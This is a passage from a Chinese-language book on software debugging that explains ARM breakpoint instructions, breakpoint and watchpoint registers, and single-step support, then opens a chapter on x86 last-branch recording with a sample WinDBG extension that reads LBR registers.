是专门介绍调试设施的《调试架构》,与应用层架构(部分A)和系统
编程(部分B)三足鼎立。阅读长达300多页的《调试架构》部分,其设
施之丰富,其灵活性之高,其定义之详细,在不少地方都超过了x86,
真可谓是后来者居上。
老雷评点
老雷曾提议扩展x86之调试寄存器,结果不被采纳,与一职
位甚高的同事聊起此事时,得知“对经典x86的改进很难推得动,
不要去想”,听罢哑然。
ARM架构把所有调试设施分为入侵式调试(invasive debug)和非
入侵式(non-invasive debug)两大类。所谓入侵式调试,是指与被调试
目标建立深度的调试关系,不仅可以观察调试目标,还可以改变调试目
标,比如改变运行状态(如中断再恢复执行),或者修改调试目标的代
码和数据等。而非入侵式调试则不然,一般只是观察调试目标的行为和
数据,并不加以修改,性能监视就是典型的例子。
对于入侵式调试,ARM手册中又将其分为两大模式:监视器模式
(monitor debug-mode)和中止模式(halting debug-mode)。二者的根
本区别在于报告和处理调试事件的方式。当设置为监视器模式时,调试
事件会触发异常,然后交给软件来处理异常。当设置为中止模式时,调
试事件会导致CPU中止,进入所谓的调试状态,停止执行任何指令,等
待硬件调试器接管控制权和提供调试服务。简单来说,监视器模式就是
依赖操作系统和软件调试器为主的软件模式,中止模式就是以JTAG等
硬件调试器为主的硬件模式。因此,前者又称为自主调试(self-hosted
debug),后者又称为外部调试(external debug)。
本书将分几个部分介绍ARM架构的各种调试设施。本节先介绍监
视器模式下的断点和单步执行支持,第7章将详细介绍中止模式。
4.6.1 断点指令
本章前面详细介绍了x86的断点指令(INT 3),它对软件调试有着
重要的作用。那么,ARM架构中有类似的指令吗?
这个看似简单的问题其实并不简单。作者很久以前就想找到这个问
题的答案,但前前后后花了不少时间才基本明白了其中的原委。
作者最初使用的是“用调试器学习调试”的方法。打开一个
WoA(Windows on Arm)系统的转储文件,然后反汇编DbgBreakPoint
函数,看x86平台上用int 3的地方用的是什么:
ntdll!DbgBreakPoint:
76f5e9d0 defe _ _debugbreak
76f5e9d2 4770 bx lr
上面的第二条指令是返回到父函数,第一条指令的助记符是
__debugbreak,起初作者以为它就是ARM架构中的断点指令。但后来意
识到受骗了,因为找遍ARM手册,根本没有
__debugbreak这条指令。原来,第一条指令的机器码defe根本不是任何
指令的机器码,而是无效指令,__debugbreak是反汇编器给它硬取的名
字,所谓“强为之名”,两条下画线暗示了这个特征。怎么会这样呢?简
单来说,早期的ARM平台主要是靠硬件调试器来调试(即前面说的中
止模式),直到ARMv5才引入专门的断点指令。因此,不知道哪位高
人想出了个替代的方法,就是使用defe这样的无效指令来替代断点指
令,当CPU执行到这条指令时会产生无效指令异常,剩下的任务就都丢
给异常处理函数和系统软件了。
上面DbgBreakPoint函数使用的是2字节的THUMB指令,阅读Linux
内核源代码中用于支持内核调试的kgdb.h(/arch/arm/include/asm),可
以看到用于触发异常的4字节标准ARM指令。
#define BREAK_INSTR_SIZE 4
#define GDB_BREAKINST 0xef9f0001
#define KGDB_BREAKINST 0xe7ffdefe
#define KGDB_COMPILED_BREAK 0xe7ffdeff
以及提供给内核的接口函数:
static inline void arch_kgdb_breakpoint(void)
{
asm(__inst_arm(0xe7ffdeff));
}
与x86的对应函数相比,上述方法真是有些不体面。
static inline void arch_kgdb_breakpoint(void)
{
asm(" int $3");
}
其实,使用无效指令不只是不体面,其实际效果也有很多不足。在
阅读gdb和kgdb中的有关代码时,可以看到很多晦涩的代码。这样的代
码不易阅读,编写时一定也很痛苦,以至于在上面提到的kgdb.h的开
头,我们可以看到这样一条专门写给ARM硬件设计师的留言:
* Note to ARM HW designers: Add real trap support like SH && PPC to
* make our lives much much simpler. :)
ARMv5引入的断点指令叫BKPT,在Thumb指令集和ARM指令集中
都有。CPU执行该指令时会产生Prefetch Abort异常。搜索GDB的源代
码,可以发现GDB在某些情况下会使用BKPT指令,并将其称为增强的
软件断点指令(enhanced software breakpoint insn)(gdb/arm-tdep.c)。
ARMv8引入的64位指令集中,新增了一条名为BRK的断点指令。
在32位指令集中,则保留了BKPT指令,允许继续使用。观察ARM版64
位Windows 10的DbgBreakPoint函数,可以看到如下指令:
ntdll!DbgBreakPoint:
00007ffe`51572fa0 d43e0000 brk #0xF000
00007ffe`51572fa4 d65f03c0 ret lr
综上所述,早期ARM架构中没有断点指令,使用未定义指令来替
代,ARMv5为弥补这个不足引入了BKPT指令,ARMv8又引入了BRK指
令,而且行为不同。这样的不断变化难免给人朝令夕改的感觉。从积极
的角度看,这体现了持续改进的精神。但是带来的实际问题是很多地方
还在使用老的无效指令方法,降低了技术进步的速度。
4.6.2 断点寄存器
ARM架构的14号协处理器(CP14)是专门支持调试的,ARMv6将
其正式纳入ARM架构。此前,ARM架构的调试支持都是实现相关的。
因此本节介绍的内容适用于ARMv6或者更高版本。
简单来说,从ARMv6开始的ARM架构定义了16对断点寄存器。每
对两个,名字分别为BVRn和BCRn(n为0~15),其编号分别为64~79
和80~95。
BVR的全称是断点数值寄存器(Breakpoint Value Register),BCR
的全称是断点控制寄存器(Breakpoint Control Register)。前者用来定
义断点的参数取值,后者用来设置断点的选项。二者一一对应,相互配
合一起描述一个断点。二者合称断点寄存器对(Breakpoint Register
Pair)。
BVR的取值有两种情况:当设置普通的断点时,它的值是指令的虚
拟地址(Instruction Virtual Address,IVA);当设置所谓的上下文断点
时,它的值是上下文ID(Context ID)。ARM处理器会将BVR的值与我
们在第2章介绍过的CP15中的CONTEXTIDR寄存器的值进行比较,并根
据匹配结果和系统设置决定是否要报告调试事件。
下面两条指令分别用来读写某个BVR寄存器:
MRC p14,0,<Rt>,c0,<CRm>,4 ; 将DBGBVR<n> 读到Rt,n的值为0~15。
MCR p14,0,<Rt>,c0,<CRm>,4 ; 将Rt写到DBGBVR<n>,n的值为0~15。
BCR寄存器的格式比较复杂,图4-9给出了32位时的位定义。
图4-9 BCR寄存器
首先,BCR的最低位(位域E)用来启用(Enable,1)和禁止该断
点(0)。接下来介绍BT位域,它是用来定义断点类型(Breakpoint
type)的,共有4位,可以定义16种类型,目前共定义了10种。10种类
型中有5种是基本类型(Base type),使用BT[3:1]来指定基本类型,其
定义分别如下。
0b000:指令地址匹配。
0b001:上下文ID匹配。
0b010:指令地址不匹配(IVA Mismatch)。这种类型用于特殊的
场合,报告异常的条件是检测到当前指令地址与BVR中设置的地址
不一样。在网上可以搜索到多条关于这类断点的瑕疵的报告[4]。
ARMv8中仅保留了在32位时支持这个功能,64位时删除了这个功
能。
0b100:VMID(虚拟机ID)匹配,要匹配的VMID设置在另一组名
为DBGBXVR的寄存器组的对应寄存器中(仅适用于包含虚拟化扩
展的情况)。
0b101:VMID和Context ID同时匹配(仅适用于包含虚拟化扩展的
情况)。
BT[0]用来启用所谓的链接选项(link),因为这一位有0、1两种可
能,于是上述5种基本类型变为10种。不过,不是所有链接类型都有意
义。目前使用的只有一种情况:当基本类型为地址匹配时,如果BT[0]
为1,那么LBN(Linked Breakpoint Number)位域中应该是另一个上下
文匹配断点的编号,这样便可以实现上下文与地址同时匹配,支持进程
相关的断点。
MASK位域用来指定匹配的长度(范围),当断点类型为地址匹配
时,MASK的值用来指定地址比较时需要屏蔽(忽略)掉的地址位数,
如果为0,代表不屏蔽,1、2两个值保留不用,3代表屏蔽掉低3位,依
次类推,MASK的所有位为1时(0x1F)表示屏蔽低31位。举例来说,
如果BCR指定的地址值为0x12345678,MASK的值为0b00011,那么地
址匹配的范围便是0x12345678~0x1234567F的8个字节。
BAS位域的全称是Byte Address Select,BVR中的地址是按字
(word,ARM中word为32位)对齐的,如果希望匹配到地址不对齐的
某个字节,那么应该通过这个位域来选择字(word)中的某个字节。
PMC(Privileged Mode Control)、HMC(Hyp Mode Control)和
SSC(Security State Control.)这3个位域具有类似的作用,都是给断点
附加模式或者状态条件,用来指定在什么样的情况下应该报告调试事
件、什么情况下不要报告。比如,如果HMC和SSC为0、PMC为0b01,
那么只有当处理器处于特权级别1(PL1)时才报告调试事件。如果把
PMC改为0b11,那么便所有模式都报告。如果把SSC改为0b10,那么便
只有当处理器处于安全模式(secure mode)时才报告调试事件。如果把
SSC改为0b01,那么便只有当处理器处于非安全模式(non-secure
mode)时才报告调试事件。
虽然ARM架构定义了16对断点寄存器,但其具体数量还是要看芯
片实现的。ARM架构规定可以通过读取CP14的DBGDIDR寄存器来检查
当前平台的调试设施实现细节,如图4-10所示。
图4-10 DBGDIDR寄存器
图4-10是来自ARMv7手册的DBGDIDR寄存器(ARMv8版本的低字
节为保留)定义,其中BRP位域的值加1就是断点寄存器对的数量,允
许值为1~15,代表断点寄存器对的数量为2~16(ARM架构规定最少2
对)。
在内核调试会话中观察WoA系统中NT内核的_CONTEXT结构体,
可以看到Bvr和Bcr数组,长度为8,这说明WoA系统支持8对断点寄存
器。
0: kd> dt _CONTEXT -ny b*
nt!_CONTEXT
+0x150 Bvr : [8] Uint4B
+0x170 Bcr : [8] Uint4B
对于64位的WoA系统,Bvr数组的每个元素都扩展为64位,但Bcr数
组仍是32位,而且支持的寄存器对数没有变。
nt!_CONTEXT
+0x318 Bcr : [8] Uint4B
+0x338 Bvr : [8] Uint8B
清单4-11列出了使用断点寄存器设置简单指令断点的伪代码(见本
章参考资料[3]的第327页)。
清单4-11 使用断点寄存器设置指令断点
1 SetSimpleBreakpoint(int break_num, uint32 address, iset_t isa)
2 {
3 // 首先将对应断点置为禁用状态
4 WriteDebugRegister(80 + break_num, 0x0);
5 // 其次将地址写到BVR寄存器,保持低2位为0
6 WriteDebugRegister(64 + break_num, address & 0xFFFFFFC);
7 // 然后根据情况决定“字节地址选择”(BAS)位域的值
8 case (isa) of
9 {
10 // 注意:CortexTM-R4处理器不支持Jazelle或者ThumbEE状态,
11 // 但ARMv7 Debug Architecture定义中支持这两种状态
12 when JAZELLE:
13 byte_address_select := (1 << (address & 3));
14 when THUMB:
15 byte_address_select := (3 << (address & 2));
16 when ARM:
17 byte_address_select := 15;
18 }
19 // 最后,写屏蔽与控制寄存器,启用断点
20 WriteDebugRegister(80 + break_num, 7 | (byte_address_select << 5))
;
21 }
根据前面介绍的BCR位定义,清单4-11的第20行第二个参数7代表
启用该断点,并且将PMC设置为0b11,即匹配所有模式。
对于运行在ARM平台上的Linux系统(不妨将其称为LoA),内核
启动时,会检查CPU的硬件断点支持情况,并通过内核消息报告出来,
比如下面是Tinker单板系统(感谢人人智能)启动时打印出的信息:
[0.246744] hw-breakpoint: found 5 (+1 reserved) breakpoint and 4 watchpoin
t registers.
来自arch/arm/kernel/hw_breakpoint.c中的如下代码:
pr_info("found %d " "%s" "breakpoint and %d watchpoint registers.\n",
core_num_brps, core_has_mismatch_brps() ? "(+1 reserved) " :
"", core_num_wrps);
其中的core_num_brps代表可用的硬件断点数量,它的值来自同一
个源文件中的get_num_brps函数:
core_num_brps = get_num_brps();
下面是get_num_brps函数的源代码:
/* Determine number of usable BRPs available. */
static int get_num_brps(void)
{
int brps = get_num_brp_resources();
return core_has_mismatch_brps() ? brps - 1 : brps;
}
如此看来,一共检测到6个硬件断点支持,保留了1个给“地址不匹
配时命中”的特殊用途。
上面系统的CPU是瑞芯微的RK3288,实现的是ARMv7版本。
[ 0.000000] CPU: ARMv7 Processor [410fc0d1] revision 1 (ARMv7), cr=10c5387
d
[ 0.000000] Machine model: rockchip,rk3288-miniarm
综上所述,ARM架构定义了16对断点寄存器,可以利用它们在代
码空间对指令地址设置硬件断点,并且可以附加多种条件,包括匹配进
程(上下文匹配)和处理器执行模式。与x86架构最多支持4个硬件断点
相比,ARM架构支持的硬件断点数量有明显增加,可以附加进程匹配
条件也是一大进步。二者的另一个明显区别是x86的调试寄存器既可以
用来设置指令断点,也可以设置数据访问断点,但是ARM的断点寄存
器是不可以用来设置数据访问断点的。4.6.3节介绍的监视点寄存器是用
来满足这一需要的。
4.6.3 监视点寄存器
ARM架构单独定义了监视点寄存器来支持数据访问断点功能。与
断点寄存器对类似,ARM架构定义了16对监视点寄存器,名字分别为
WVRn和WCRn(n为0~15),编号分别为96~111和112~127。
WVR的全称是监视点数值寄存器(Watchpoint Value Register),
用来指定要监视数据的虚拟地址。
WCR的全称为监视点控制寄存器(Watchpoint Control
Registers),用来定义监视点的控制信息。WCR寄存器的位定义如图4-
11所示。其中的E位用来禁止(0)或者启用(1)监视点,WT位用来指
定监视点的类型,0代表普通监视点,1代表该监视点与LBN位域指定的
断点相关联,即所谓的链接到断点。
图4-11 WCR寄存器
与BCR类似,WCR的MASK位域用来指定匹配地址的范围,0代表
不需要屏蔽,1和2保留,3~31代表要屏蔽的地址位数。BAS(Byte
Address Select)位域的用法与BCR类似——用来选取要匹配的字节。
ARM架构定义了两种方案供设计芯片时选择:第一种方案是BAS的长
度为4位,即图4-11中的第5~8位,第9~12位保留,此时WVR中的地址
必须4字节边界对齐,BAS的每一位用来选择4个字节(字)中的一个。
第二种方案是BAS的长度为8位,WVR中的地址按8字节(双字)边界
对齐,BAS的每一位选择双字所含8个字节中的一个。
LSC(Load/store access control)位域的作用是指定要匹配的访问方
式,有如下4种选项。
0b00保留不用。
0b01匹配任何加载(load)、互斥加载(load-exclusive)或者交换
(swap)访问。
0b10匹配任何存储(store)、互斥存储(store-exclusive)或者交换
(swap)访问。
0b11匹配所有类型的访问。
PAC(Privileged Access Control)用来指定要匹配的访问权限,
0b00保留不用,0b01 代表只匹配特权访问,0b10代表只匹配非特权访
问,0b11代表匹配特权和非特权两种访问中的任何一种。
与断点寄存器的情况类似,虽然ARM架构定义了16对监视点寄存
器,但其实际数量也是依赖芯片实现的,可以通过读取前面提到的
DBGDIDR寄存器(见图4-10)的WRPs位域来检测,也是加一即为监视
点寄存器对(WRP)的数量,最小值为2。
举例来说,著名的Cortex A9微架构实现了4对监视点寄存器,6对断
点寄存器。
软件方面,32位WoA系统的CONTEXT结构体中,WRP的数量只有
1对,即:
nt!_CONTEXT
+0x190 Wvr : [1] Uint4B
+0x194 Wcr : [1] Uint4B
在NT内核的处理器控制块(KPRCB)中,有两个字段分别记录着
支持的断点和监视点数量:
0: kd> dt _KPRCB 81229000+580 -y Max?o
ntdll!_KPRCB
+0x510 MaxBreakpoints : 6
+0x514 MaxWatchpoints : 1
在64位版本中,监视点的数量增加到2对,以下分别是CONTEXT和
KPRCB结构体中的相应字段:
nt!_CONTEXT
+0x378 Wcr : [2] Uint4B
+0x380 Wvr : [2] Uint8B
0: kd> dt _KPRCB fffff800cf070000+980 -y max
nt!_KPRCB
+0x898 MaxBreakpoints : 6
+0x89c MaxWatchpoints : 2
看来WoA支持的监视点很少。为了便于访问,调试寄存器WoA版
本的NT内核封装了一些函数,下面是其中的几个:
0: kd> x nt!*hwdebugre*
811554f4 nt!KiWriteHwDebugRegs (<no parameter info>)
8104ba34 nt!KiSetHwDebugRegs (<no parameter info>)
8104bcb8 nt!KiReadHwDebugRegs (<no parameter info>)
对于LoA系统,可以通过检查内核消息来观察监视点的支持情况,
比如,在前面提到的Tinker单板系统中,执行dmesg | grep watch,便可
以看到:
[0.246744] hw-breakpoint: found 5 (+1 reserved) breakpoint and 4 watchpoin
t registers.
[0.246806] hw-breakpoint: maximum watchpoint size is 4 bytes.
这意味着,系统支持4个监视点,每个监视点的监视长度是4个字
节。
顺便说一下,ARMv7中定义了一个名为DBGWFAR(Watchpoint
Fault Address Register)的寄存器用来报告触发监视点的指令地址,
ARMv8将其列为废弃(deprecated)寄存器,保留不用。原因应该是这
个信息可以通过异常上下文获取到,后面讨论操作系统层时将会继续介
绍。
4.6.4 单步跟踪
ARM架构是如何支持单步跟踪的呢?与断点指令的情况类似,这
个在x86上很简单的问题,在ARM架构中有些复杂。
查看ARMv5到ARMv7版本的架构手册,并没有与x86陷阱标志位
(TF)类似的设施。或许ARM的设计师们觉得没有必要单独用一个设
施,复用其他设施就可以了。为何如此猜测呢?因为在多个版本的
ARM手册中,都可以看到官方推荐的复用断点寄存器的单步方式。简
单来说,就是使用上面介绍的“指令地址不匹配(IVA Mismatch)”类型
的断点来实现单步跟踪。在ARMv7架构手册和实现ARMv7的Cortex™-
R4微架构技术参考手册[3]中都可以找到关于这种方法的详细描述,后者
更加详细,不仅给出了伪代码(见清单4-12),还讨论了特殊情况。
清单4-12 使用断点寄存器实现单步跟踪
1 SingleStepOff(uint32 address)
2 {
3 bkpt := FindUnusedBreakpointWithMismatchCapability();
4 SetComplexBreakpoint(bkpt, address, 4 << 20);
5 }
在清单4-12的伪代码中,第3行是找到一个可用的支持IVA Misatch
类型断点的断点寄存器对。第4行是使用这个寄存器对设置一个复杂断
点,其中第三个参数用来指定断点类型,即0b010,代表IVA Misatch类
型。
使用上面这种方法实现的单步跟踪功能在大多数情况下是可以工作
的,但对于个别情况是有问题的。例如,如果当前的指令是个空循环,
跳转到同一条指令,比如B .(B是简单跳转指令),那么使用这种单步
方法就不是每次执行一条指令,而是直到跳出循环(比如有中断发生)
了。
另一种特殊情况是递归调用,比如某个名为ThisFunction的函数在
函数末尾有如下两条指令:
BL ThisFunction
POP {saved_registers, pc}
第一条指令是调用这个函数自己,执行时会把POP指令的地址压入
栈;第二条指令是恢复寄存器,也有返回到父函数的功能(弹出保存的
LR寄存器到PC)。假设多次递归调用后,现在我们要单步跟踪递归调
用层层返回时的细节。当单步执行上面的POP指令时,因为之前BL指令
保存的LR地址就是POP指令的地址,所以单步一次并不是执行一条指令
而是执行很多次递归返回,一直返回到函数名不同的那一级父函数。
上面的问题有失严谨,而且使用也比较麻烦,需要访问多个寄存
器,操作较多,所以ARMv8的64位架构(AArch64)引入了与x86的陷
阱标志类似的单步跟踪支持,为了与前面介绍的基于硬件断点寄存器的
方法相区别,我们称之为软件单步(software step)。
在AArch64新引入的MDSCR_EL1寄存器中(见图4-12),最低位
(bit 0)就是用来支持软件单步的SS位,为1启用单步,为0禁止。
MDSCR是监视器调试系统控制寄存器(Monitor Debug System Control
Register)的缩写,表示这个寄存器是为监视器调试模式而设计的。名
字中的EL1是Exception Level 1的缩写,表示这个寄存器只可以在EL1或
者更高的特权级别访问,不可以在EL0(低特权)访问。
图4-12 MDSCR_EL1寄存器
SS位的工作原理与TF位非常类似,处理器在检测到SS位为1时,便
会报告调试事件(如果没有禁止)。
除了SS位,MDSCR_EL1寄存器中还有其他一些重要的控制位,比
如MDE(Monitor Debug Events)位是用来启用或者禁止断点和监视点
异常的。
可以使用如下指令来读写MDSCR_EL1寄存器:
MRS <Xt>, MDSCR_EL1 ; Read MDSCR_EL1 into Xt
MSR MDSCR_EL1, <Xt> ; Write Xt to MDSCR_EL1
在Linux内核源代码中,arch/arm64/kernel/debug-monitor.c包含了访
问MDSCR_EL1寄存器的多个函数,包括设置SS标志的
kernel_enable_single_step()、清除SS标志的kernel_disable_single_step()函
数和判断该标志是否存在的kernel_active_single_step()函数等。
4.7 本章小结
本章使用较大的篇幅详细介绍了CPU对断点(见4.1节和4.2节)和
单步执行(见4.3节)这两大关键调试功能的支持。4.4节以实模式调试
器为例,介绍了调试器是如何使用这些支持来实现有关功能的。4.5节
通过实例和动手实验简要介绍了反调试和化解反调试的基本原理。4.6
节介绍了ARM架构的断点设施。
下一章将介绍CPU的分支记录和性能监视机制。
参考资料
[1] IA-32 Intel Architecture Software Developer’s Manual Volume
3. Intel Corporation.
[2] 8086 Monitor Instruction Manual. Seattle Computer Products
Inc.
[3] Cortex-R4 and Cortex-R4F Technical Reference Manual. ARM
Limited.
[4] ARMv7 Hardware Breakpoint not triggering.
第5章 分支记录和性能监视
沿着正确的轨迹执行是软件正常工作的必要条件。很多软件错误都
是因为程序运行到了错误的分支。尽管这通常不是错误的根本原因,但
却是“顺藤摸瓜”的关键线索。因此,了解软件的运行轨迹对于寻找软件
问题的根源有着重要意义。很多性能问题是因为执行了不必要的代码或
循环而导致的,所以运行轨迹对于分析软件的运行效率和软件调优也有
着重要意义。
老雷评点
此章内容对调试和调优都有益处,鉴于篇幅所限,有些偏重
于调优的内容无法深挖,望攻调优者,莫嫌其简,喜调试者,莫
厌其烦。
因为CPU是软件的执行者,每一条指令不论是顺序执行还是分支和
跳转,都是由它来执行的,所以让CPU来记录软件的运行轨迹是最适合
的。
CPU的设计者们早就意识到了这一点。在第4章中,我们介绍过P6
处理器引入的按分支单步执行的功能,其实该功能基于一个更基本的功
能,那就是监视和记录分支(branch)、中断(interrupt)和异常
(exception)事件,简称分支监视和记录。奔腾4处理器对这一功能又
做了很大的增强,允许将分支信息记录到内存中一块称为BTS(Branch
Trace Buffer)的缓存区中。此外,奔腾4还引入了基于精确事件的采样
技术(Precise Event Based Sampling,PEBS)以及用于存储BTS和PEBS
数据的调试存储区(debug store)技术。因为把BTS和PEBS数据保存到
内存区这个动作本身会导致较多的内存访问,可能产生明显的额外开
销,所以代号为Skylake的酷睿微架构引入了RTIT(Real Time
Instruction Trace)技术,可以通过单独的输出机制把追踪信息送到处理
器外部。
本章将首先介绍分支监视功能的意义和一般方式(见5.1节),而
后详细介绍P6处理器引入的基于寄存器的分支记录功能(见5.2节)以
及奔腾4处理器引入的基于内存的调试存储机制(见5.3节)。在5.4节
中,我们将编写一个名为CpuWhere的小程序来演示调试存储机制的用
法。而后我们将简要地介绍性能监视机制,先介绍英特尔架构(见5.5
节),再扩展到ARM架构(见5.6节)。
5.1 分支监视概览
分支监视是跟踪和记录CPU执行路线(history)的基本措施,对软
件优化和软件调试都有着至关重要的作用。在CPU没有集成内部高速缓
存(cache)之前,所有内存读写操作都要通过前端总线进行,因此可
以使用逻辑分析仪等工具监视到CPU的所有内存读写动作,特别是取指
动作(从某一内存地址读取指令)。尤其是在CPU执行分支指令后,可
以通过分析它接下来取指的地址知道CPU执行了哪个分支。也就是说,
对于内部没有高速缓存的传统处理器,可以通过观察前端总线观察CPU
的执行路线。
但对于集成有高速缓存的处理器来说(见图5-1),CPU是成批地
将代码读入高速缓存,而后再从高速缓存中读取指令并解码和执行。这
使得位于前端总线上的调试工具失去了精确观察CPU所有取指操作的能
力,不能像以前那样观察到CPU的执行轨迹。
图5-1 位于前端总线上的调试工具
为了解决以上问题,奔腾处理器引入了一种专门的总线事务(bus
transaction),称为分支踪迹消息(Branch Trace Message,BTM)。在
BTM功能被启用后(后文讨论),CPU在每次执行分支和改变执行路线
时都会发起一个BTM事务,将分支信息发送到前端总线上。这样,调试
工具便可以通过监听和读取BTM消息跟踪CPU的执行路线了。
因为硬件调试工具的价格通常都比较昂贵,而且设置和使用也都比
较麻烦,所以P6处理器引入了通过内部寄存器来记录分支信息的功能。
这样,只要进行必要的设置,CPU便会把分支信息记录到特定的寄存器
中。寄存器可以记录的信息毕竟有限,于是奔腾4处理器引入了通过特
定的内存区域来记录分支信息的功能。后面两节我们将分别讨论这两种
分支监视机制。
5.2 使用寄存器的分支记录
本节先介绍使用MSR寄存器来记录分支的方法。P6处理器最先引入
了这种方法,可以记录最近一次分支的源和目标地址,称为Last Branch
Recording,简称LBR。奔腾4处理器对其做了增强,增加了寄存器个
数,以栈的方式可以保存多个分支记录,称为LBR栈(LBR Stack)。
5.2.1 LBR
P6处理器设计了如下5个MSR寄存器(Machine/Model Specific
Register),用来实现LBR机制。
用来记录分支的LastBranchToIP和LastBranchFromIP寄存器对。
用来记录异常的LastExceptionToIP和LastExceptionFromIP寄存器
对。
一个MSR寄存器来控制新加入的调试功能,称为DebugCtl,其格式
如图5-2所示。
当发生分支时,LastBranchFromIP用来记录分支指令的地址,
LastBranchToIP用来记录这个分支所要转移到的目标地址。
当异常(调试异常除外)或中断发生时,CPU会先把
LastBranchToIP和LastBranch- FromIP中的内容分别复制到
LastExceptionToIP和LastExceptionFromIP寄存器中,然后再把发生异常
或中断时被打断的地址更新到LastBranchFromIP,把异常或中断处理程
序的地址更新到LastBranchToIP寄存器中。
图5-2 DebugCtl MSR(P6处理器)
虽然DebugCtl MSR是一个32位的寄存器,但是只使用了低7位,其
中各个位的含义如下。
LBR位用来启用LBR机制,如果此位被置为1,那么处理器会使用
上面介绍的4个寄存器来记录分支和异常或中断位置。对于P6处理
器,当CPU产生调试异常时,CPU会自动清除此位,以防调试异常
处理函数内部的分支覆盖掉原来的结果。
BTF(Branch Trace Flag)的作用是启用按分支单步执行。如果此
位被置为1,那么CPU会将标志寄存器EFLAGS的TF(陷阱标志)
位看作“single-step on branches(针对分支单步执行)”。换句话
说,当BTF位和TF位都为1时,在CPU执行完下一个分支指令后便
会产生调试异常。我们在4.3节中详细介绍了这一功能。
PB0与CPU上的BP0#(Breakpoint and Performance Monitoring output
pin 0)引脚相对应。如果此位被置为1,那么当CPU检测到
DR0(调试地址寄存器0)所定义的断点条件时会设置BP0#引脚,
以通知硬件调试工具;如果此位被置为0,那么当性能计数器0的值
增加或溢出(由PerfEvtSel0寄存器控制)时,CPU会反转
(toggle)BP0#引脚上的电平。
PB1~PB3与PB0类似,只是与CPU上的BP1#~BP3#引脚和DR1~
DR3寄存器相对应。
TR(Trace message enable)位用来启用(设为1)或禁止向前端总
线(FSB)上发送分支踪迹消息(BTM)。如果此位被置为1,每
当CPU检测到分支、中断或异常时,都会向FSB总线上发送BTM消
息,以通知总线分析仪(bus analyzer)之类的调试工具。启用这项
功能会影响CPU的性能。
5.2.2 LBR栈
P6的LBR机制只可以记录最近一次的分支和异常,奔腾4处理器对
其做了增强,引入了所谓的“最近分支记录堆栈”,简称LBR栈,可以记
录4次或更多次的分支和异常。奔腾M处理器和Core系列处理器也支持
LBR栈。
LBR栈是一个环形栈,由数个用来记录分支地址的MSR寄存器(称
为LBR MSR)和一个表示栈顶(Top Of Stack)指针的MSR寄存器(称
为MSR_LASTBRANCH_TOS)构成。CPU在把新的分支记录放入这个
堆栈前会先把TOS加1,当TOS达到最大值时,会自动归0。
LBR栈的容量因CPU型号的不同而不同,目前产品的可能值为4、
8、16或32。可以通过CPUID指令取得CPU的Family和Model号,再根据
Model号确定LBR MSR的数量。
以奔腾4 CPU为例,Model号为0~2的处理器有4个LBR MSR寄存
器,即MSR_LASTBRANCH_0~MSR_LASTBRANCH_3,每个MSR的
长度是64位,高32位是分支的目标地址(To),低32位是分支指令的地
址(From)。这样,这个堆栈最多可以记录最近4次的分支、中断或异
常。
Model号大于等于3的奔腾4 处理器有32个LBR MSR寄存器,被分为
16对,分别是MSR_LASTBRANCH_0_FROM_LIP~
MSR_LASTBRANCH_15_FROM_LIP和
MSR_LASTBRANCH_0_TO_LIP~MSR_LASTBRANCH_15_TO_LIP,
每个MSR的长度是64位,但高32位保留未用,因此最多可以记录16次最
近发生的分支、中断或异常。
奔腾M处理器定义了8个LBR寄存器, 即MSR_LASTBRANCH_0~
MSR_LASTBRANCH_7,地址为0x40~0x47。这8个寄存器都是64位
的,低32位用来记录From地址,高32位用来记录To地址。
Core微架构的CPU通常有8~64个LBR寄存器,分为4~32对,
MSR_LASTBRANCH_0_FROM_IP~MSR_LASTBRANCH_x_FROM_IP
用来记录分支的源地址,MSR_LASTBRANCH_0_TO_IP~
MSR_LASTBRANCH_x_TO_IP用来记录分支的目标地址。这些寄存器
都是64位的,可以记录最近4~32次分支、中断或异常。
LBR寄存器中内容的含义可能因为CPU型号的不同而不同。在P6处
理器中,4个分支记录寄存器所保存的地址都是相对于当前代码段的偏
移。在Pentium 4处理器中,LBR栈中记录的是线性地址。在Core微架构
的CPU中,可以通过IA32_PERF_CAPABILITIES寄存器的0~5位
([5:0],LBR_FMT)的值来进行判断,具体信息请参见IA手册卷3B的
第17~18章。
5.2.3 示例
为了演示如何使用LBR寄存器了解CPU的执行轨迹,我们编写了一
个WinDBG扩展模块(DLL),名为LBR.DLL。执行这个模块的lbr命
令,便可以访问和显示LBR寄存器的内容。清单5-1列出了演示性的源
代码。完整的代码和项目文件在chap05\lbr目录下。
清单5-1 显示LBR栈的WinDBG扩展命令源代码
1 //
2 // WinDBG扩展模型,用于读取LBR寄存器
3 //
4 #define LBR_COUNT 8
5 #define LBR_MSR_START_ADDR 0x40
6 #define MSR_LASTBRANCH_TOS 0x1c9
7 #define MSR_DEBUGCTLB 0x1d9
8 DECLARE_API( lbr )
9 {
10 ULONG64 llDbgCtrl,llLBR;
11 ULONG ulFrom,ulTo,ulTos;
12 CHAR szSymbol[MAX_PATH];
13 ULONG ulDisplacement;
14 int nToRead;
15
16 Version();
17 ReadMsr(MSR_DEBUGCTLB,&llDbgCtrl);
18 dprintf("MSR_DEBUGCTLB=%x\n", (ULONG)llDbgCtrl);
19 llDbgCtrl&=0xFFFFFFFE;// 清除LBR位,位0
20 WriteMsr(MSR_DEBUGCTLB,llDbgCtrl);
21 dprintf("LBR bit is cleared now.\n");
22
23 ReadMsr(MSR_LASTBRANCH_TOS,&llLBR);
24 ulTos=llLBR&0xF;
25 dprintf("MSR_LASTBRANCH_TOS=%x\n", ulTos);
26
27 nToRead=ulTos;
28 for (int i=0; i< LBR_COUNT;i++)
29 {
30 ReadMsr(LBR_MSR_START_ADDR+nToRead,&llLBR);
31 ulFrom = llLBR;
32 ulTo = (llLBR>>32);
33
34 szSymbol[0] = '!';
35 GetSymbol((PVOID)ulTo, (PUCHAR)szSymbol, &ulDisplacement);
36 dprintf("MSR_LASTBRANCH_%x: [%08lx] %s+%x\n", nToRead,
37 ulTo,szSymbol,ulDisplacement);
38
39 szSymbol[0] = '!';
40 GetSymbol((PVOID)ulFrom, (PUCHAR)szSymbol, &ulDisplacement);
41 dprintf("MSR_LASTBRANCH_%x: [%08lx] %s+%x\n", nToRead,
42 ulFrom, szSymbol,ulDisplacement);
43
44 nToRead--;
45 if(nToRead<0)
46 nToRead=LBR_COUNT-1;
47 }
48
49 llDbgCtrl+=1; // 设置位bit 0
50 WriteMsr(MSR_DEBUGCTLB,llDbgCtrl);
51 dprintf("LBR bit is set now.\n");
52 }
清单5-1中的代码是以Pentium M处理器为例的,限于篇幅,支持最
新处理器的代码(较长)没有列出(包含在本书电子资源中)。
